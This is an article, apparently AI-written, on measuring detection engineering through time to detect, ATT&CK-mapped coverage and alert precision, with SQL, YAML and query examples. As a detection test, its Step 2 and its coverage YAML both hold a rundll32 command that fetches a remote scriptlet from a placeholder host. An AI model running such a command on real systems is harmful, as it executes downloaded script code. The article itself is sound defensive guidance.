How to Measure Detection Engineering: TTD, Coverage, and Alert Fidelity

TL;DR — Detection engineering is only useful if you can prove three things: how fast you detect real activity, what parts of your environment and attack paths are actually covered, and how often alerts are worth an engineer waking up for. The most likely fix is to stop reporting raw rule counts and instead instrument detections with testable telemetry, ATT&CK-mapped coverage, and precision-style alert outcome tracking. Reading time: ~7 min

What it is and where it sits

In XDR terms, measuring detection engineering means evaluating the detection layer that sits between raw telemetry and human response. The detections consume logs, endpoint events, cloud audit records, identity events, network metadata, and enrichment data; they emit alerts, cases, or automated actions. The measurement problem is not "how many rules do we have?" It is whether those rules detect meaningful behavior quickly enough, across the systems you care about, with low enough noise that responders trust them.

This sits after collection and normalization, and before triage/response. In a typical pipeline:

• agents, cloud APIs, identity providers, and network controls emit events
• a collector or data pipeline normalizes them
• detections run as scheduled queries, stream processors, correlation rules, or behavior models
• alerts go to a queue, ticketing system, SIEM/XDR console, pager, or SOAR playbook
• analysts classify outcomes, which is the feedback loop you need for fidelity metrics

What it replaces: teams often start with vanity metrics such as total alerts/day, total rules, or MITRE ATT&CK techniques "covered" in a spreadsheet. Those are not useless, but they are not operational measures. You replace them with measurable outcomes tied to test events and triage results.

[Endpoint/Cloud/IdP] ---- 1. events ----> [Collector]
[Collector] ---- 2. normalized data ----> [Detection Engine]
[Detection Engine] ---- 3. alerts ----> [Queue/Case Mgmt]
[Queue/Case Mgmt] ---- 4. triage outcome ----> [Metrics Store]
[Metrics Store] ---- 5. tuning feedback ----> [Detection Engine]

The architecture context matters because each metric can fail for different reasons:

• bad TTD may be caused by source latency, ingestion lag, batch scheduling, or alert routing delay
• bad coverage may mean the telemetry source does not exist, parsing is broken, or a detection was never written
• bad fidelity may mean the logic is weak, the environment changed, or enrichment is missing

How it actually works

Use one end-to-end example: detecting suspicious use of rundll32.exe on Windows endpoints.

Assume this flow:

1. Sysmon logs process creation as Event ID 1.
2. The endpoint agent forwards the event to your pipeline.
3. The detection engine runs a rule matching Image = rundll32.exe with suspicious command-line patterns.
4. An alert is created and sent to the analyst queue.
5. The analyst marks it true_positive, benign_true_positive, or false_positive.
6. Metrics jobs compute TTD, coverage status, and fidelity.

Step 1: define the timestamps you will measure

For TTD, you need at least two timestamps per test or incident:

• activity_time: when the behavior happened on the source system
• alert_time: when the alert became visible to responders

If you can, also capture:

• ingest_time: when the event landed in the platform
• rule_eval_time: when the detection matched
• route_time: when the alert hit Slack/PagerDuty/case queue

Without these, you cannot tell whether the problem is collection, compute, or routing.

For a test event, the record might look like this:

{
  "test_id": "det-test-2026-05-14-001",
  "technique": "T1218.011",
  "host": "win11-dev-07",
  "activity_time": "2026-05-14T10:15:03Z",
  "ingest_time": "2026-05-14T10:15:11Z",
  "rule_eval_time": "2026-05-14T10:16:00Z",
  "alert_time": "2026-05-14T10:16:04Z",
  "outcome": "true_positive"
}

TTD is usually alert_time - activity_time. Here it is 61 seconds. If your rule runs every 5 minutes, your floor is already bad for anything interactive.

Step 2: generate a known-good test signal

Do not wait for real attackers to benchmark your detections. Inject controlled activity.

On a Windows test host:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" ";document.write();GetObject("script:https://example.invalid/payload.sct")"

You are not trying to execute a real payload here; you are trying to produce the process creation pattern your rule should catch. In a mature program, every important detection has a corresponding test command, script, or replayed event fixture.

⚠️ Some detection tests execute binaries, create processes, or touch security controls. Run them only on isolated test hosts or approved validation targets. A bad test can trigger containment actions, kill production processes, or page the on-call.

Step 3: confirm the raw event exists before blaming the rule

If the alert did not fire, check the telemetry path first. For Sysmon-backed process creation, you would query the raw event store for the host and time window. The exact query language varies, but the shape should be explicit:

{
  "query": {
    "bool": {
      "filter": [
        { "term": { "host.name": "win11-dev-07" }},
        { "term": { "event.code": "1" }},
        { "range": { "@timestamp": { "gte": "2026-05-14T10:14:00Z", "lte": "2026-05-14T10:17:00Z" }}},
        { "wildcard": { "process.name": "rundll32*" }}
      ]
    }
  }
}

Typical diagnosis outcomes:

• no event returned: collection or forwarding problem, not a detection logic problem
• event returned but fields are different than expected: parser/schema drift
• event returned and fields match: detection logic or scheduling problem

Step 4: map coverage as telemetry + detection, not just detection

Coverage is not binary. A useful model is a matrix with at least these states:

• covered_tested: telemetry exists, detection exists, test passed
• covered_untested: telemetry exists, detection exists, no recent validation
• telemetry_only: source data exists, no detection yet
• blind: no telemetry, so no realistic detection

For rundll32.exe, coverage is not "we have a LOLBin rule." It is more like:

• Windows endpoints with Sysmon Event ID 1 enabled: covered_tested
• Windows servers without Sysmon but with sparse EDR process events: maybe covered_untested
• VDI pool with no process telemetry: blind

That distinction matters more than ATT&CK coloring in a slide deck.

Step 5: compute alert fidelity from analyst outcomes

Alert fidelity is whether alerts are actionable. In practice, track at least:

• precision-like rate: true_positive / (true_positive + false_positive)
• escalation rate: alerts that become incidents/cases
• suppression rate after tuning: how much analyst pain you removed

Be careful with labels. Many teams need three buckets, not two:

• true_positive: malicious or policy-violating and needs action
• benign_true_positive: behavior matched correctly but is expected admin/tooling activity
• false_positive: detection logic wrong or context missing

If you collapse benign_true_positive into false_positive, you may over-tune away useful detections. If you collapse it into true_positive, you may hide alert fatigue.

Step 6: decide from the numbers

Suppose over 30 days for this rule:

• 20 controlled tests executed, 18 alerted
• median TTD: 72s, p95 TTD: 6m 10s
• 46 total alerts
• 9 true_positive
• 21 benign_true_positive
• 16 false_positive

Interpretation:

• coverage is incomplete because 2/20 tests failed
• TTD is acceptable for batch analytics, not for high-speed containment
• fidelity is mixed; 16/46 false positives is expensive
• the large benign bucket suggests missing allowlists or asset/user context

That gives you a concrete backlog: fix the failed test environments, reduce schedule/ingest lag, and add context-aware exclusions.

When to use it (and when not to)

If you run any meaningful detection program, you need this. The only question is how much rigor.

You probably do not need a full measurement program yet if:

• you cannot label alert outcomes at all
• you do not know which telemetry sources exist per environment
• you are still fighting basic ingestion reliability

In that case, the first deliverable is a source inventory and a repeatable test harness, not a dashboard.

Trade-offs

Every benefit costs something.

• Faster TTD visibility costs instrumentation effort. You need multiple timestamps, synchronized clocks, and enough pipeline introspection to separate source lag from rule lag.
• Better coverage reporting costs asset and telemetry inventory maintenance. If your CMDB is stale or endpoint enrollment is inconsistent, your coverage numbers will lie.
• Higher alert fidelity costs analyst labeling discipline. Someone must classify outcomes consistently, or your precision metric becomes garbage.
• Test-driven detections improve confidence but cost engineering time and safe test environments. Some tests are noisy and can trigger automated response.
• ATT&CK mapping helps communicate gaps but costs ongoing taxonomy maintenance. Technique labels drift less than vendor schemas, but they still need review.
• Richer enrichment improves fidelity but costs latency and dependency risk. If detections wait on identity or asset lookups, p95 TTD can get worse.

A common failure mode is optimizing one metric by damaging another. Example: aggressive suppression improves apparent fidelity while silently reducing coverage. Another: stream processing improves TTD but increases compute cost and operational complexity versus scheduled queries.

In practice

Example 1: compute TTD and precision from alert outcome exports

WITH labeled AS (
  SELECT
    rule_name,
    activity_time,
    alert_time,
    outcome,
    EXTRACT(EPOCH FROM (alert_time - activity_time)) AS ttd_seconds
  FROM detection_alerts
  WHERE activity_time >= NOW() - INTERVAL '30 days'
    AND outcome IN ('true_positive', 'benign_true_positive', 'false_positive')
)
SELECT
  rule_name,
  COUNT(*) AS total_alerts,
  ROUND(PERCENTILE_CONT(0.5) WITHIN GROUP (ORDER BY ttd_seconds)) AS median_ttd_s,
  ROUND(PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY ttd_seconds)) AS p95_ttd_s,
  SUM(CASE WHEN outcome = 'true_positive' THEN 1 ELSE 0 END) AS tp,
  SUM(CASE WHEN outcome = 'benign_true_positive' THEN 1 ELSE 0 END) AS btp,
  SUM(CASE WHEN outcome = 'false_positive' THEN 1 ELSE 0 END) AS fp,
  ROUND(
    SUM(CASE WHEN outcome = 'true_positive' THEN 1 ELSE 0 END)::numeric /
    NULLIF(SUM(CASE WHEN outcome IN ('true_positive', 'false_positive') THEN 1 ELSE 0 END), 0),
    3
  ) AS precision_excluding_btp
FROM labeled
GROUP BY rule_name
ORDER BY total_alerts DESC;

This gives per-rule median and p95 TTD plus a precision-style metric that excludes benign_true_positive from both numerator and denominator. The gotcha: if your clocks differ between endpoint and platform, TTD can go negative; clamp or flag those rows instead of averaging them in.

Example 2: track tested coverage as code

techniques:
  - id: T1218.011
    name: Rundll32
    assets:
      - selector: "os:windows AND env:prod"
        telemetry_required:
          - sysmon.process_create
        detection_rule: suspicious-rundll32
        validation:
          type: command
          command: "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\" \";document.write();GetObject(\"script:https://example.invalid/payload.sct\")\""
          last_tested: "2026-05-14T10:16:04Z"
          result: pass
      - selector: "os:windows AND env:vdi"
        telemetry_required:
          - sysmon.process_create
        detection_rule: suspicious-rundll32
        validation:
          type: command
          last_tested: null
          result: untested

This is a simple, portable way to represent coverage state without depending on a vendor feature. The gotcha: coverage based on selectors is only as good as your asset metadata; if hosts are missing env or os tags, you will overstate coverage.

Example 3: sanity-check ingestion lag from the terminal

psql "$DATABASE_URL" -c "
SELECT
  date_trunc('minute', activity_time) AS minute,
  ROUND(AVG(EXTRACT(EPOCH FROM (ingest_time - activity_time)))) AS avg_ingest_lag_s,
  ROUND(PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY EXTRACT(EPOCH FROM (ingest_time - activity_time)))) AS p95_ingest_lag_s
FROM raw_events
WHERE activity_time >= NOW() - INTERVAL '2 hours'
GROUP BY 1
ORDER BY 1 DESC
LIMIT 10;"

Typical output shape:

       minute        | avg_ingest_lag_s | p95_ingest_lag_s
---------------------+------------------+-----------------
 2026-05-14 10:16:00 |               11 |              19
 2026-05-14 10:15:00 |               12 |              21
 2026-05-14 10:14:00 |              147 |             302
(3 rows)

This tells you whether bad TTD is really a detection issue or an ingestion spike. The gotcha: if ingest_time is assigned by the forwarder rather than the central store, you may be measuring forwarder buffering, not end-to-end platform lag.

Further reading

• MITRE ATT&CK Evaluations methodology
• The "Detection Engineering" sections of Google's Security Operations guidance
• Anton Chuvakin and Gunnar Peterson, Logging and Log Management
• The Sigma Rule Specification
• The "Detection Maturity Level" model

This article was written by an AI system and published pending human review. Verify anything you intend to act on.